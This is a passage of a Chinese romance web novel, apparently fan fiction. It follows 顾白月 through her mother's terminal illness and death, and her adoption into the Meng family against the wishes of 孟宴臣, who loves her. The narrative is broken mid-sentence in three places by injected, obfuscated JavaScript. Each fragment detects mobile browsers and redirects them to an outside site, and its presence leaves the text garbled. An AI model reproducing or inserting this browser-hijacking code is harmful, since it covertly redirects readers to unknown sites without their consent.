同病房的人看到顾白月忙前忙后削苹果,笑着夸小姑娘漂亮乖巧,又看孟宴臣将加大食盒打开,一碟碟拿出饭菜,还取出一碗极有营养的人参乌鸡汤。 那人不无艳羡地说:“你儿子女儿真孝顺。” “儿子?”季如兰一怔,缓缓摇头,“我哪有这福气。” 孟宴臣(十九) 顾白月学校医院两头跑,忙得脚不沾地,人都累瘦了好几斤。 孟宴臣看在眼里,急在心里,想方设法地替顾白月分担压力,还托人找了一位经验丰富,脾气温和风趣的女护工,照顾季如兰。 不仅如此,孟宴臣自己也常常去医院,一待就是大半天。 一来二去,孟宴臣和顾白月相处得时间就越来越多,走得也越来越近了。其实这样的情况以前也经常出现,他俩自小就脾气相投,一遇见就难舍难分的,只是那时两人都年岁小,谁都不会多想。 虽然顾白月有心退掉其他琐事,一心一意泡在医院陪妈妈,但季如兰不愿意,坚持要让顾白月该跳舞跳舞,该上课上课,不要因为自己打乱任何计划,否则她就拒绝吃药。 偏巧顾白月所在的舞蹈团要参加一场演出,顾白月一早就被选拔为领舞。 舞蹈团的负责人之一就是姚见萍,她告诉顾白月此次演出机会十分难得,不能错失,何况在奖杯送给季如兰做礼物,说不定更能激励她战胜病魔的斗志。 在双方劝说下,顾白月废寝忘食,夜以继日地练舞,只为在舞台上绽放最美丽的自己,取得一个耀眼成绩。 到了演出这一天,肖亦骁来孟家叫孟宴臣,他们说好了一起去给顾白月摇旗呐喊壮声势。 对于此次登台表演,孟宴臣比顾白月本人还要重视,临出门前都在说:“我这套西装是不是太沉闷太古板了?你等我再换一套。” 肖亦骁百无聊赖坐在客厅等着,忽然看见付闻樱从十二根湘妃竹的帘子后走来,尖头皮鞋落地无声,冷得跟覆了一层霜雪似的。 “付阿姨。” 肖亦骁连忙站起来问好。 付闻樱好像不是随意路过,而是有话要说:“你坐。” 肖亦骁坐是坐了下来,就是觉得如鲠在喉,如芒刺背,如坐针毡,在付闻樱如有实质的审视目光下,吭哧吭哧半天,还是屈服般说道:“……阿姨,你有什么话就直说吧。” 反正我也不敢不听。 付闻樱笑了笑:“宴臣是你最好的朋友吧?” 肖亦骁拍胸脯:“那当然,关系杠杠的。” “皎皎呢?” “阿姨……”肖亦骁拖长声音叫了一声,他已经知道来者不善了。 然而付闻樱却不打算就这么放过他,“宴臣那孩子外冷内热,看着沉默寡言不好接近,其实心里一旦认准了谁就难以更改,他可是拿你当一辈子的好朋友。” 杀人诛心啊。 孟宴臣都对我这么好了,我还在他背后骂他妹控死变态,我可真该死啊! 肖亦骁一瞬间愧疚感爆棚,“阿姨您放心,我肯定为宴臣上刀山下火海两肋插刀,绝不推辞。” 付闻樱稳坐钓鱼台:“不需要你两肋插刀,阿姨只需要你帮我一个小忙。” “什么?” “帮我看着宴臣和皎皎,这两个孩子平常说了什么,做了什么,有任何异常之处都要告诉我。” 肖亦骁坐不下去了,他老老实实站起来,垂着头看向付闻樱,“阿姨,你跟孟叔叔平常照顾我,我都知道,我也真心拿你们当亲叔叔婶婶,你让我做什么事都成,但我不能背叛宴臣和皎皎。宴臣不用说了,我们打小就是穿一条裤子长大的好兄弟。至于皎皎……” 他苦恼地挠了挠头,不知道该怎么形容:“我敢跟您打包票,皎皎是个好姑娘,虽然出身差了点,但满城里打听打听去,没人比咱皎皎更伶俐了。我平常是招猫逗狗不学好,可是皎皎……我不能伤害她。” 付闻樱笑意冷然:“骁骁,你是个好孩子,应该明白若是真为他们好,就不能眼睁睁看着两人行差踏错。” 肖亦骁垂死挣扎:“可是,他们俩啥事没有,一点没越线啊,真的付阿姨,我敢用我谈过的二十七场恋爱向您保证,宴臣和皎皎都没开窍,纯纯拿对方当兄妹。” 付闻樱淡淡道:“那就麻烦你再帮忙观察几天。” 楼上响起关门声,是孟宴臣换好衣服快步走下来了。 付闻樱适时起身,对着肖亦骁留下意味深长的一句话: “春天到来时,深陷其中的人是体察不到的。” …… “你怎么了?” 演出马上就要开始了,肖亦骁坐在椅子上拧来拧去,活活把自己纠结成一根麻绳,孟宴臣看不过眼:“……厕所出门右拐。” 肖亦骁深深叹气:“唉,你不懂。” 很快就轮到顾白月所在的舞蹈团,她们此次推选的节目是《鹊桥会》,根据传统爱情故事牛郎织女演化而成,讲述了仙娥织女在凡间洗浴,牛郎扣下其衣服,以此威胁织女同自己做了夫妻。 顾白月这几天都在排练,孟宴臣好几天没见到她了,舞台灯光亮起时他都没有第一时间认出顾白月,待看清是她时,只余震撼。 古典舞要求身量纤纤,腰肢窈窕,这些顾白月都完美的契合,她穿上香槟色薄纱广袖长裙,涂着精致的复古妆容,风鬟雾髻,云鬓遥遥,一句倾国倾城都不足以囊括,此时此刻顾白月带来的惊艳。 肖亦骁满脸自豪:“小丫头片子有两把刷子……” 他往四周瞧了瞧,大家显然都处于美色暴击之中,久久不能回神,不禁有些得意道:“老孟,咱们要不要再去买一束花,等会献给皎……” 肖亦骁后面的话都咽进了嘴里。 因为他看清楚了孟宴臣此时的表情。 那双狭长淡泊的眼眸,全是被点燃的狂热,痴痴凝望,深色瞳孔只倒映出一抹轻盈身姿。 肖亦骁倒抽一口凉气。 或许,付闻樱的担心压根不是杞人忧天。 顾白月跳得投入,跳得忘我,跳得酣畅淋漓,因为她知道季如兰会在电视上,看到她的一举一动。 她想让妈妈开心一些。 孟宴臣仿佛被攫取走了全部心神,直到顾白月领舞结束,退至舞台一侧,饰演王母娘娘的演员登场,他才问肖亦骁:“你刚才说什么?” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|9427213|98467||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 肖亦骁眼神复杂:你这家伙看起来规规矩矩,天天讲究什么克己复礼,你就是这么给我克的,你刚才那模样,说是想直接一口吞了皎皎我都信。 “孟宴臣啊孟宴臣,枉你聪明一世,每次考试都碾压我,还不是关键时候掉链子。”肖亦骁拍着孟宴臣感慨。 孟宴臣被他说糊涂了:“什么意思?” 我兄弟完了。 肖亦骁顿时满腹同情:“你有没有听过一句话,当局者迷,旁观者清。” 顾白月跳舞时有种莫名的神圣和高洁,仿若一尘不染,清冷如月,整个人极具表现力和感染力,跳到后半段时悲剧氛围层层渲染。 王母娘娘金簪扫过,一线银河划开,将痴男怨女分隔两地。 层层鲛纱堆叠下来,绕着顾白月雪白手腕,她抓紧舞台中央的绸布,随风一荡,飘飘然直上云霄。 爱人啊,从此后,你我朝朝暮暮,暮暮朝朝,此心相依相恋,不得相会…… 肖亦骁又在鬼哭狼嚎了,不过这回孟宴臣一个字都没听见去,他注视着遭受天谴的织女,心底最深处生出浓浓的憎恶和不甘。 憎恶牛郎的卑劣无耻,你倾慕皎皎明月,妄图将月亮摘下来,却让明月跌落在泥淖里,简直罪不容诛。 不甘于织女的际遇,与其是他,为何不能是我…… 一舞终结,现场掌声雷动,无数观众欢呼雀跃,还有人四处打听饰演织女的人是谁,有没有意象往娱乐圈发展。 孟宴臣和肖亦骁上台祝贺。 孟宴臣送的花很特别,名字叫做月见草,据说是一种夜间盛开,专门与月光相约的可爱花草。 “谢谢宴臣哥。”时隔多日,顾白月脸上终于有了点笑意,孟宴臣跟她并肩站在一起,看着这个美得不可方物的小姑娘,滚烫的视线都不知道往哪里落,最终克制地垂眸看向女孩软垂的裙摆: 我怕目光泄露我心事,从来都只敢让它在你面前稍纵而逝。 瞥一眼你的裙摆,已经是我做过的,最大胆的事…… 相较于孟宴臣的含蓄,肖亦骁的表达就直白多了,他趁孟宴臣不注意,上来就给了顾白月一个熊抱,哭得像一个两百斤的胖子,嘴里絮絮叨叨说道: “皎皎,你看我咋样,实在不行你凑合着跟我过吧,哥肯定不亏待你,以前那些女朋友全断干净,以后也不交了。我爸我妈你都见过,他们稀罕你跟稀罕国宝似的,指定不给你气受,而且我们肖家是半路发家的土豪,没那么多讲究,你来我家爱咋样咋样,你搁屋里盘火炕腌酸菜都成,只要你高兴……” 顾白月以为肖亦骁在日常发癫,拍了拍对方狗头:“成啊。” 那边孟宴臣应付完外人,一看肖亦骁贴在顾白月身上,顿时慌忙来撕,撕到一半肖亦骁牌狗皮膏药又黏孟宴臣身上了。 肖亦骁哭得撕心裂肺,捶胸顿足,对着孟宴臣大喊:“牛郎!织女!我对不起你们啊,不是小喜鹊我不帮忙,实在是王母娘娘她,她太可怕辽……” 孟宴臣(二十) 季如兰的身体已经到了药石无医的地步,医生说快则两三个月,慢则五六个月,总之只剩小半年时光了。 这些时日,顾白月过得煎熬,除了上学和跳舞,其他时间都在医院泡着,一心一意陪着母亲。 很快学校里放寒假,季如兰拿到了顾白月的成绩单,看着那明显有些下滑的分数,深深叹了一口气,摸了摸女儿额头:“妈妈拖累皎皎了……” 新年将近,顾家小房子里却冷冰冰的,一点人气儿没有,季如兰躺在病床上枯如槁木,顾白月借住在孟家,寄人篱下。 这天顾白月回家取东西,看着空荡荡的房间,心脏抽痛得说不出话,值钱的东西都变卖折现了,原本母女两人精心布置的装饰物,很多也遭到了破坏。 见顾白月发呆,孟宴臣心中也不是滋味,上前握住她的手:“妈妈说,今年大家一块儿过年,人多热闹。” 顾白月勉强一笑:“不,我要跟妈妈一起过年。” 毕竟,如果没有奇迹降临的话,这是顾白月同季如兰一起度过的最后一个新年了。 季如兰最近一直昏昏沉沉,处于半梦半醒之中,时常精神恍惚,有一次满脸惊疑地对顾白月和孟宴臣说:“刚才不是还闹着吃辣条吗,怎么突然就长大了……” 她已经分不清梦境和现实了,时常将孟宴臣和顾白月认作小孩子。 到了腊月三十这一天,昏睡好久的季如兰突然醒了,人也特别有精神,兴致勃勃地说:“妈妈跟皎皎一起守岁,希望神灵保佑我们皎皎平平安安。” 顾白月心底咯噔一声,脑海中冷不丁冒出“回光返照”四个字。 也不知道孟宴臣是怎么跟父母沟通的,大过年的竟然跟顾白月一起照顾季如兰,没有丝毫避讳的意思,看到季如兰想吃东西,盛情相邀:“家里年夜饭已经备好了,兰姨跟我们回家吧。” 顾白月知道自己这样有得寸进尺的嫌疑,孟家已经对她们母女恩重如山了,怎么还能在他们一家团圆时,不合时宜地前去打扰。 可是看着季如兰憔悴如斯,显然已是强弩之末,顾白月又不忍心让母亲最后一段时光在冷冰冰的医院走过。 恰好付闻樱打来电话慰问,知道季如兰醒过来后,也道:“来吧,家里钱嫂老张都惦念着你。” 到底相识一场,平常大家相处得也算融洽,知道季如兰就是这几天的事了,都想送送她。 至于大过年接触病人晦气不晦气的,到了他们这个年纪早就不在乎了。 孟家地位超然,过年不似寻常人家那么随意,常常要迎来送往,招朋待友,所以年节时一向会留员工在家帮忙。当然,是否留下加班全看个人自愿,即便是冲着那三倍加班费,也不会有人心存抱怨。 在孟家工作的主厨甜点师司机花匠等人,林林总总也有十来个,大多都是本地人,这会儿都在有条不紊地忙碌着,处处张灯结彩,洋溢着新年新气象。 顾白月用轮椅推着季如兰,同孟宴臣并肩走过,家政阿姨钱嫂率先跑过来打招呼,还没说话就是眼眶一红:“回来了。” 付闻樱再讲究规矩体统,这会儿也软了心肠,十几年的交情不是假的,何况…… 她总不能白得人家一个如花似玉的乖女儿。 一大桌子菜摆得满满当当,足足有六十八道,一家之主孟怀瑾同妻子付闻樱站在上首处,目光一一扫过下面卓然出众的孩子们,满足之情溢于言表,感叹地寄予大家长的期望,末了一人一个厚厚的大红包。 豪门世家出手就是阔绰。 顾白月受宠若惊:“我也有?” 孟怀瑾点头:“拿着吧,添添福气。” 奇怪的是季如兰似乎早就料到了这一幕,坦然自若地说:“快谢谢你孟叔叔。” …… 一到放假时间,肖亦骁就如同脱缰野马,彻底玩疯了,昨夜打游戏打到通宵,白天睡了一天,临到傍晚时分,佣人都开始摆碗筷了,他才打着哈欠下楼。 客厅摆着一堆礼物。 肖亦骁顶着鸡窝头,迷迷糊糊地问:“谁送的?” “你付阿姨。” 肖亦骁如同被人掐住脖子,一蹦三尺高:“谁?!” “你要死啊,再这么一惊一乍的,看我不抽你。”肖爸爸捂着胸口说完,自己也觉得纳闷,“奇怪,她今年怎么这么客气,送你的新年礼物照往年翻了一番。” 肖亦骁勃然变色,梗着脖子嚷嚷:“你们干嘛啊!付阿姨过来送礼物不知道叫我一声吗?怎么能随随便便就收人家东西!再说了,我付姨人精似的,她的东西那是能白拿的吗?!” 肖爸爸抽出七匹狼:“臭小子,你跟谁横呢?!还喊你,你他妈睡得跟死猪一样,谁喊得醒你。” 抓着皮带一顿输出,揍得肖亦骁哭爹喊娘,鬼哭狼嚎,就这还杵着脑袋犟嘴:“还回去,快点还回去,付姨这是逼我当叛徒啊,呜呜呜呜,我是不会出卖组织的……” 肖爸爸下死手管教儿子:“兔崽子,敢编排长辈了是吧?!” 关键时刻肖妈妈赶过来救场:“别打了别打了,骁骁,你付阿姨喊你过去玩,说是一会儿宴臣的几个朋友也要来。” 肖亦骁胡乱往嘴里塞了几个饺子,蔫头耷脑,溜溜达达地来到孟家,韩廷赵又司王勉蒋裕等人正跟孟宴臣说话,一伙人在院子里忙进忙出,神秘兮兮的,不知在干些什么。 远远地,肖亦骁看到付闻樱瞧了自己一眼。 要不说还得是咱付女士呢,肖亦骁从小天不怕地不怕,自诩上山能擒虎,下海能捉龙,天王老子来了都不认怂,唯独见了付女士回回跟老鼠见了猫似的。 肖亦骁甩手给了自己一巴掌:吃人嘴软,拿人手短…… 吃罢年夜饭,付闻樱夫妻两人跟季如兰一起,坐在客厅里喝茶聊天,顾白月乖乖巧巧地坐在一旁,始终黏黏糊糊贴着妈妈。 季如兰被她湿漉漉的眼神瞅得心头酸涩,“去玩吧,皎皎,妈妈跟你叔叔阿姨说话呢。” 顾白月很珍惜现在这弥足珍贵的温馨时光,不肯起来:“我想陪着妈妈,还有叔叔阿姨。” 季如兰撵她:“去吧,妈妈想记着皎皎开开心心的样子。” 顾白月依依不舍地离开了,一走出门就看到肖亦 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|9427994|98467||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 骁鬼鬼祟祟地缩在玄关,猫猫狗狗地往里看。 顾白月简直没眼看:“……你干嘛?” “嘘。” 肖亦骁拉着顾白月往外走,状似不经意地说:“皎皎啊,你真不跟哥谈一场风花雪月的恋爱,尝一尝爱情的苦?” 顾白月嫌弃:“别闹。” “成吧。”肖亦骁咧着嘴巴笑,表情复杂之中蕴藏着一丝认真,“也不知道你这傻丫头的脑子怎么长的,从小到大百伶百俐,唯独情情爱爱的不开窍。” 顾白月心说我哪有时间想这个,她随口敷衍:“不懂了吧,我们神仙都是断情绝爱,超脱凡尘俗念的,一句话:姐修得是无情道。” 两人自幼知根知底,没少待在一起胡扯,肖亦骁这回却将顾白月的玩笑当真了,还煞有介事地说:“其实你这样也挺好的……” 顾白月缓缓打出一个:“?” 肖亦骁笑笑:“哥也教你一句话。” “什么?” “无爱一身轻。” 顾白月沉默。 肖亦骁抬头望去,看到顾白月的靠近,不远处几个少年纷纷讲热切的目光投过来,孟宴臣站在人群边角,整个人安静内敛,眸色却又带着克制不住的欢喜。 随着顾白月越走越近,孟宴臣脸上神情越来越鲜活,宛若一副淡雅的水墨山水画,瞬间点染姹紫嫣红,满城春色。 肖亦骁心头闷窒,在夜风中轻不可闻地对顾白月说:“皎皎,你记着,无论谁来问你,都要说你没有任何喜欢的异性,一点也不想谈恋爱……” 顾白月吃惊,转头去看肖亦骁,他已经没心没肺地笑开,闹腾着奔到人群中跟他们嘻嘻哈哈。 仿佛方才那一幕,都是顾白月的错觉。 …… “皎皎。” 孟宴臣冲着顾白月浅笑,“过来放烟火吧,可以祈福消灾。” 草坪的空地上摆着一支巨大的烟花,导火线簌簌抖动,原来他们几人遮遮掩掩准备半天,就是做这个,孟宴臣说这是给顾白月的惊喜。 他带顾白月一起走过去,用打火机点燃,两人掐着时间快速跑开,有种别样的刺激。 嘭的一声响,烟花窜到天空,转瞬炸开,绘出百花盛开的斑斓奇景,层层叠叠,流金泻玉。 红光璀璨,照亮夜空,在远远近近此起彼伏的烟花声中,孟宴臣清冽干净的嗓音传来:“这支烟花叫做百岁安。” 是对季如兰和顾白月平平安安,长命百岁的祝福。 “孩子们放烟花了。” 客厅里,三位长辈透过落地玻璃窗看过来,灯火通明,将院子映照得亮如白昼。 在烟花升至最高点轰然四散时,所有人都抬头仰望,被那令人难忘的灿烂辉煌久久吸引。 唯有孟宴臣是例外。 连顾白月自己都不知道,当她抬头为烟火目眩神迷时,也曾有人目不转睛地注视着她,感受着一下一下剧烈轰鸣的心跳。 目睹这一切的季如兰和付闻樱沉默了。 不知过了多久,付闻樱淡淡道:“看来,要抓紧时间办手续了……” 孟宴臣(二十一) 为了让季如兰的身体能够有所好转,初一这天,顾白月特意约了孟宴臣去庙里祈福,还为其他家人求了平安符。 然而事与愿违,新年还没过完,正月十五的前一天季如兰的病情突然恶化,被紧急送往了抢救室。 经历了将近五个小时的煎熬,顾白月终于看到医生走出来,连忙过去问:“请问我妈妈怎么样了?” 医生遗憾地摇了摇头,“……病人撑不下去了,有什么话赶快同她说吧。” 顾白月身形一个踉跄,差点摔倒在地,多亏孟宴臣眼疾手快搀扶着。 护士将季如兰送回病房,顾白月眼巴巴地趴在床榻上等了一会儿,季如兰慢慢醒来,一眼就看到近来瘦了许多的顾白月,本就小巧的下巴显得尖尖的,湿漉漉的眼睛又圆又大。 季如兰气若游丝,微不可闻地说:“皎皎先出去,妈妈……有话跟你宴臣哥哥说。” 顾白月怎么舍得在这种时候离开,但季如兰态度坚持,顾白月只好无措地看了孟宴臣一眼,不懂妈妈为什么非要支开自己。 孟宴臣冲顾白月点点头,示意她别担心。 等顾白月不情不愿地走开后,季如兰缓缓将收回的目光放在孟宴臣身上,用回忆过去的语气,一字一顿艰难地说道:“宴臣,阿姨知道你一直都是个好孩子,如果没有你,阿姨的皎皎要多吃很多苦头,阿姨应该正式谢谢你的……” 事到如今,季如兰已经开始交代后事,孟宴臣虽然难过,心底却已经做好充足准备,认认真真地听着,“兰姨您别这么说,我同皎皎投缘,照顾她是应该的,何况小的时候,我也承蒙您照顾了很多年。” 大概是被孟宴臣的话勾起记忆,季如兰眼神飘忽,不知怎么地想起了很多年前的一件事,“小时候,太太对你管教严格,我记得有一次,你不慎从马上跌下来摔伤了胳膊,引发高烧,好不容易吃了药温度降下去,你问太太第二天的德语课能否请假……” 这件事孟宴臣也有印象,顺着话头说下去,有些不好意思地说:“妈妈说德语老师课程排得紧,不许我请假耽误学习。我那时幼稚不懂事,仗着生病跟大人赌气,又不敢跟妈妈正面交锋,就故意躲起来惹人担心。” “是啊。” 季如兰微微叹息,“最后还是我和皎皎先找到你的。” 即便时隔多年,季如兰依然能够清清楚楚地记起当日情景,瘦瘦小小的男孩抱膝蹲坐在宽大芭蕉叶下,眸色发红,像一只遭人遗弃的可怜小狗。 顾白月跑过去牵他的手,奶声奶气地劝孟宴臣:“哥哥,你胳膊还疼吗?皎皎给你吹一吹吧。”她撅着小嘴,对着孟宴臣的右臂呼呼吹起,似模似样地学着幼儿园老师的样子,“呼呼呼,痛痛飞飞。” 那时候,孟宴臣以为季如兰会像家里其他佣人一样,在找到他之后,第一时间向付闻樱汇报,然而季如兰并没有那样做,反而带着两小只悄悄回了厨房,煮了一碗青菜排骨面。 季如兰拍拍孟宴臣的头:“吃吧,吃饱了就不难受了。” 薄薄雾气中,清瘦男孩被熏得双眼红通通,感受着季如兰和顾白月朴实却又温馨的关怀,有些异想天开地呓语:“为什么季阿姨不是我妈妈呢……” 付闻樱历来奉行打压式教育,料理家事如同在战场上浴血厮杀,手腕凌厉强势,孟宴臣受她教导多年,唯一一次直白地表达反抗,就是这次心存奢念。 同样是母亲,付闻樱和季如兰仿佛是两个极端,一个至刚,一个至柔,就像父母会更喜欢别人家处处优秀的孩子一样,被提线木偶般控制着的孩子,偶尔也会做一个小小的,昙花一现的梦啊。 好在,无论是季如兰还是顾白月,都没有把孟宴臣发泄情绪的话当真,反而想方设法调和他们母子关系,这才不至于让孟宴臣走向另一个极端。 回忆消散,季如兰忽然用枯瘦如树枝的手,一把攥住孟宴臣,“宴臣,阿姨求你一件事……” 眼前这气息奄奄,随时都可能撒手人寰的女人,是顾白月视若性命的妈妈,辛苦养育了顾白月十多年,为此不惜累出一身疾病。只要想到这一点,孟宴臣什么都能答应她。 孟宴臣:“您说。” 季如兰很固执:“你先答应我。” 孟宴臣迟疑,终究败在季如兰满含哀求的悲戚目光中,他相信季如兰不会伤害自己,“好,我答应您。” “谢谢,谢谢……”季如兰竟然哽咽到失声,语无伦次地道歉,“还有,对不起……” 孟宴臣是真心拿自己当长辈,但自己这个长辈却太过自私,分明看出了他的心思,却为了女儿,选择伤害一个很好很好的孩子。 她一直喃喃重复着对不起,可见心底愧疚之深,又几乎是用气音说:“阿姨对不起你,如果下辈子,阿姨做你妈妈,用一辈子赎罪……” 孟宴臣以为季如兰神智混乱,在说胡话,正要叫顾白月和医生进来,却见自己父母带着顾白月进了病房。 孟怀瑾夫妇二人同季如兰对视一眼,双方似乎达成了什么协议。 付闻樱笑得落落大方:“宴臣,妈妈告诉你一个好消息。” 视线敏锐地捕捉到母亲手里的户口档案,孟宴臣心底咯噔一声,涌上一种不可名状的慌乱,无措地说:“妈妈……” 付闻樱像是没看出他的失态,轻飘飘地抛下一枚重磅炸|弹:“你以前不是一直跟皎皎关系好到亲如兄妹吗?现在好了,爸爸妈妈决定收养皎皎,以后你们俩就是亲兄妹了,你这个当哥哥的,可要好好照顾妹妹们。” 落后一步进来的许沁闻言,嘲讽地笑了。 两个当事人满脸惊愕,孟宴臣同顾白月面面相觑,良久之后,他脸上血色一点点褪去,咬牙道:“不,我不接受……” 如果是几年前,孟宴臣听到这个消息后会欣喜会开心。但是现在,正处于青春期的少年,热血方刚,心潮萌动,已经模模糊糊地意识到,他对顾白月的好感,绝非简单纯粹的兄妹情。 何其可笑,初尝情爱的懵懂尚未退散,在孟宴臣明确自己心意之前,寤寐思慕的女孩变成了法律上的妹妹。 真是讽刺啊…… ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|9429430|98467||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 迎着母亲看透世事,仿佛一切尽在掌握的凛冽目光,孟宴臣站在那里,只觉得浑身发冷,双目赤红。 “宴臣哥……” 顾白月看出孟宴臣的哀伤和绝望,却不明白这绝望到底意味着什么,她以为是小孩子对父母的独占欲在作怪,孟宴臣是不喜欢莫名其妙多个法律上的妹妹。 虽然孟宴臣的反应过激了一点,但顾白月能理解,因为她也被这一突发事件搞得懵头懵脑,下意识向季如兰求助:“妈妈,皎皎只想陪着你,皎皎不要做孟家女儿……” 季如兰好似被这些话触怒了,特别生气地说:“皎皎,你乖一点,不要不识好歹,是妈妈求你叔叔阿姨收养你的。” 顾白月握着季如兰干枯手指疯狂摇头,哀哀求她:“不要,妈妈,宴臣哥哥不同意,我也不同意……” “顾白月!”见女儿神色惶恐,季如兰又怎么会不心疼,但她辛苦筹谋了这么久,万万不能功亏一篑,于是愤怒地拍着被子,气喘吁吁地质问:“你想气死我吗?还是想让妈妈死不瞑目?” “妈妈……” 这话太重了,顾白月承受不住,眼泪珍珠一般滚落下来,只一个劲儿地说:“宴臣哥哥会伤心,我们不要逼他……” 季如兰缓和了口气,饱含歉疚地看向孟宴臣:“没关系,你宴臣哥哥是一时太激动,没反应过来,你去求求他,求求你宴臣哥哥,在妈妈走后拿你当亲妹妹一样对待。” 孟宴臣如坠冰窖,“原来是这样,原来是这样……” 顾白月趴在病床边不动,季如兰推她:“快去啊。” 时间被无限拉长,顾白月在季如兰再三命令下,磨磨蹭蹭地起身,她看到孟宴臣几近崩溃的脸,心中不知为什么也一抽一抽地疼。 像一朵饱受风吹雨打的纯白栀子,随时都会凋零。 泪眼朦胧中,两人恍然对视。 众人反复催促,女孩无奈又仓皇地靠近,孟宴臣几乎狼狈到落荒而逃,付闻樱厉声呵止了他。 女孩一步一步,稳稳踩在孟宴臣心尖上。 顾白月乌压压的长发披散,黛青色长眉紧紧蹙在一起,雪色肌肤一片苍白憔悴,好似下一秒就会彻底破碎。 女孩眼眸含愁,泪盈于睫,用哭哽咽的嗓音道:“哥哥……” 孟宴臣的心一瞬间支离破碎。 他们怎么敢的啊…… 枉顾他们的意愿,一厢情愿地让他们成为兄妹,甚至逼迫他心心念念,午夜梦回之时产生无限绮念的女孩,亲自过来求他接受一切。 接受他们成为兄妹…… 不愧是精明强悍的付闻樱女士。 我亲爱的妈妈,您还真是一如既往,懂得如何拿捏我的软肋啊。 心里空荡荡的,四分五裂。 孟宴臣颤抖着伸出手,想要擦拭顾白月腮边泪水,又触电般收了回来,慌乱道:“别哭,不要哭了……” 他眼神空洞麻木,笑中带泪地对付闻樱道:“恭喜你,妈妈。” ——恭喜你,成功在今天杀、死、我…… 孟宴臣(二十二) 一场大雨倾盆而下,兜头兜脸地浇下来,很快就将人淋成了落汤鸡,也浇灭了隐藏在心底最深处的妄念。 继而是点点滴滴淅淅沥沥的小雨,缠缠绵绵,没完没了,冷得人手脚发颤,孟宴臣觉得自己骨头缝里都寒浸浸的。 季如兰葬在了西山公墓。 细细密密的雨幕中,顾白月一身黑漆漆的羽绒服,脸颊苍白毫无血色,红肿着两只漂亮的桃花眼,再也哭不出一滴泪。 季家人不知从哪儿得到消息,恶狗一般扑过来,吵着闹着要带顾白月回老家,叫嚣着让女孩交出房产证和钥匙,迫不及待地准备接手监护权,像一群闻到血腥味的苍蝇。 令人不胜其烦。 多亏孟怀瑾出面,将人全都打发了出去,没有扰季如兰的清静,又不知使了什么手段,让这群无利不起早的豺狼虎豹签下协议,承诺以后不来骚扰顾白月。 付闻樱看向擎着黑伞的孟宴臣,他脸上无悲无喜,是绝望过后的平静麻木。 到底是自己亲生儿子,付闻樱望向歇斯底里,唱念做打俱佳的季家人,淡淡解释道:“看到这一切了吗?宴臣,你不是小孩子了,怀璧其罪的道理应该不用我教你。你可以质疑爸爸妈妈的做法,我们也可以不收养皎皎,但你想过以后吗?” 她冷冷一笑:“你知不知道在季县那样的穷乡僻壤,女孩子十五六岁就会被逼着嫁人,像你这个年纪的男孩,孩子都能满地跑了,一个漂亮又没有靠山的小姑娘,会遭遇什么?你信不信皎皎到时候想清清白白的死都是奢望。” 孟宴臣打了个哆嗦,他攥紧伞柄,一言不发地注视着顾白月。 他的皎皎,他护了十来年的女孩子,无论如何都不能与虎狼为伍,她就该穿着洁白柔软的长裙,站在聚光灯下翩翩起舞。 做一抹永远清冷高洁,被人仰望的白月光。 或许,一切的原罪都在他,是他不该妄动执念,不该心生贪恋…… “宴臣。”付闻樱缓和了语气,“你该明白,你季阿姨刚刚离开,此时此刻,对于皎皎来说,她更需要的是一个坚定可靠,永远不会背弃自己的哥哥,而不是少男少女之间荷尔蒙作祟随时都会过期的廉价爱恋。” 是啊,连他的喜爱都是廉价的,即便他有同皎皎携手一世,以命相护的决心,可是除了给皎皎带来困扰外,又有什么实际性意义呢? 付闻樱拿出准备好的文件,“既然这么痛苦的话,就不要再见面了。妈妈这里有两份留学计划书,一份是你的,一份是皎皎的,你自己选。” 葬礼结束,顾白月的心也彻底枯萎了,她全程行尸走肉般地配合着,累得四肢百骸都隐隐泛疼。 迎着孟宴臣忧虑又哀愁的目光,顾白月逃避般将额头轻轻抵在他肩上,小小声地说:“哥,我以后只有你了,只有你一个亲人……” 亲人啊。 孟宴臣嘴里发苦,说不出是什么滋味,他抚了抚顾白月长发,默然做出选择,“别怕……” 让骤然失去亲人的皎皎漂泊异国他乡,孑然一身,无依无靠,他舍不得。 …… 消沉了大半个月的时间后,顾白月终于慢慢振作起来,生活总要继续,何况她现在寄人篱下,借住在孟家,也要顾忌着他人的情绪。 是的,顾白月现在是孟家养女,以后都要在孟家生活了,孟怀瑾和付闻樱打算抽空替她办一场认亲宴。近来已经有消息灵通的亲朋故旧,打着走亲戚的名义,过来见一见顾白月了。 尽管顾白月从小没少来孟家,某种程度上也算是在孟家长大,但作为客人和作为养女,毕竟不一样的,顾白月心里戚戚然,有时竟然会有束手束脚之感。 整个家里,顾白月无疑同孟宴臣关系最好,她去敲孟宴臣的房门,房间里却空无一人。 “别敲了。” 